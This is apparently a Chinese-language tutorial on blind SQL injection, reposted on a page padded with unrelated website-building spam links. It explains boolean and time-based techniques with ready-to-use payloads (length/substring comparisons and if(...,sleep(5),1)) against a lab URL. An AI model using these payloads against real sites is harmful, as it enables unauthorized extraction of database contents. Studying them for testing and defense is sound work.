当前位置: 首页 > news >正文

深圳外贸英文网站设计公司哪家好济南冷空气来袭

深圳外贸英文网站设计公司哪家好,济南冷空气来袭,企业网络推广多喜爱,河南省住房建设厅官方网站sql 注入, 盲注 盲注适合在页面没有任何回显时使用. 测试页面有变化, 但是没有显示任何异常错误等信息. 情景: url: http://192.168.112.200/security/read.php?id1 服务器数据库名: learn一, boolean盲注 # 盲注可能需要一个一个字符去试探, 字符串处理函数经常会用到. 比…

sql 注入, 盲注

盲注适合在页面没有任何回显时使用.
测试页面有变化, 但是没有显示任何异常错误等信息.

情景:
url: http://192.168.112.200/security/read.php?id=1
服务器数据库名: learn

一, boolean盲注

# 盲注可能需要一个一个字符去试探, 字符串处理函数经常会用到. 比如:
length(n)                 字符串长度
mid(str, start, n)        从start开始截取n个字符, start从1开始
substring(str, start, n)  从start开始截取n个字符, start从1开始
left(str, n)              从左侧开始截取n个字符
right(str, n)             从右侧开始截取n个字符
ord()                     字符的ascii码
ascii()                   字符的ascii码
1. 猜测长度
# 利用比较运算判断数据库名称的长度
http://.../?id=1 and length( database() ) < 10 # 页面正常
http://.../?id=1 and length( database() ) < 5  # 页面异常
http://.../?id=1 and length( database() ) = 5  # 页面正常, 数据库名长度是5.
2. 猜测字符

利用 substring() 等函数, 判断名称中的字母, 范围包括大写或小写字母, 数字, 下划线等.
可以使用python脚本或者burpsuit来做爆破.

# 猜测数据库名第一个字母
http://.../?id=1 and substring( database(), 1, 1 ) = 'a' # 页面异常
http://.../?id=1 and substring( database(), 1, 1 ) = 'c' # 页面异常
http://.../?id=1 and substring( database(), 1, 1 ) = 'l' # 页面正常, 数据库名首字母是 l
# 猜测第二个字母
http://.../?id=1 and substring( database(), 2, 1 ) = 'e' # 页面正常, 数据库第二个字母是 e
http://.../?id=1 and substring( database(), 2, 1 ) = 'E' # 页面正常, 到底是大写还是小写 ?# 这里为了区分大小写, 使用 binary 更准确
http://.../?id=1 and binary substring( database(), 2, 1 ) = 'e' # 页面正常
http://.../?id=1 and binary substring( database(), 2, 1 ) = 'E' # 页面异常# 猜测第三个字母
...

二, 时间型盲注

boolean盲注可以通过页面的变化来判断, 如果测试时, 无论使用什么代码, 页面没有任何变化, 就需要尝试时间盲注.
在真假判断的基础上添加时间判断.

原理:

if(表达式, 语句1, 语句2) 函数的规则:
如果 [表达式] 是真, 则执行 [语句1] , 否则执行 [语句2] .

使用if函数, 对boolean盲注[表达式]做判断, 将延迟时间设置到[语句1],
如果boolean盲注[表达式]猜对了, sql会执行[语句1] 进入延迟, 否则sql会立刻执行[语句2].
所以通过注入后页面的延迟时间可以判断出boolean盲注的猜测是否成功.

案例:
# 猜测数据库的名称长度
http://.../?id=1 and if( length(database())<10, sleep(5), 1) # 页面有明显延迟, 说明猜对
http://.../?id=1 and if( length(database())<5, sleep(5), 1)  # 页面响应不到5秒, 说明猜错
http://.../?id=1 and if( length(database())=5, sleep(5), 1)  # 页面有明显延迟, 说明猜对, 那么长度是5
http://www.yayakq.cn/news/729894/

相关文章:

  • 免费 个人网站中国华能集团电子商务平台
  • 建网站需要软件做网站能接到项目工程吗
  • 用word做网站相关论文校园平台网站建设感悟
  • 网站建设的投资预算怎么写北京站
  • 网站改版需要重新备案吗广告公司活动策划公司
  • 专门为网站建设服务的公司龙之向导外贸网站 网络服务
  • 建网站 西安注册公司费用最低多少
  • wordpress.org配置关键词优化是什么
  • 网站开发 商标第几类网站建设需要哪些知识
  • 网站建设好如何开通安徽定制型网站建设推广
  • wordpress免费网页建站装修网站运营
  • 师德师风建设好的小学网站国外网站开发发展历程
  • 网站开发实施方案qq引流推广平台
  • 曲阜做网站哪家好嘉兴高端网站建设公司
  • 网站建设费用应该开专票还是普票甘肃省城乡住房建设厅网站首页
  • wordpress dux主题1.8seo外链专员工作要求
  • 网站建设服务谁便宜网站要多少钱
  • 温州建设局网站微信引流获客软件
  • 关于建设网站与营销的好处9951026企业邮箱888
  • 网站空间ip是一个域名北京住房城乡建设网站
  • 奎屯市住房和城乡建设局网站最新资讯热点
  • 渭南汽车网站制作公司网站需要备案
  • 石景山网站制作案例网站后台html编辑器
  • 做美食网站的意义公司装修通知告示怎么写
  • 网站上的地图导航怎么做的网页视频下载器免费
  • 网站首页原型图怎么做seo整站优化多少钱
  • 官网建站网站怎么做万网网站吗
  • 为什么要做个人网站网站开发框架文档
  • wordpress如何修改成中文字体windows优化大师好不好
  • 什么叫展示型网站成都网站建设全美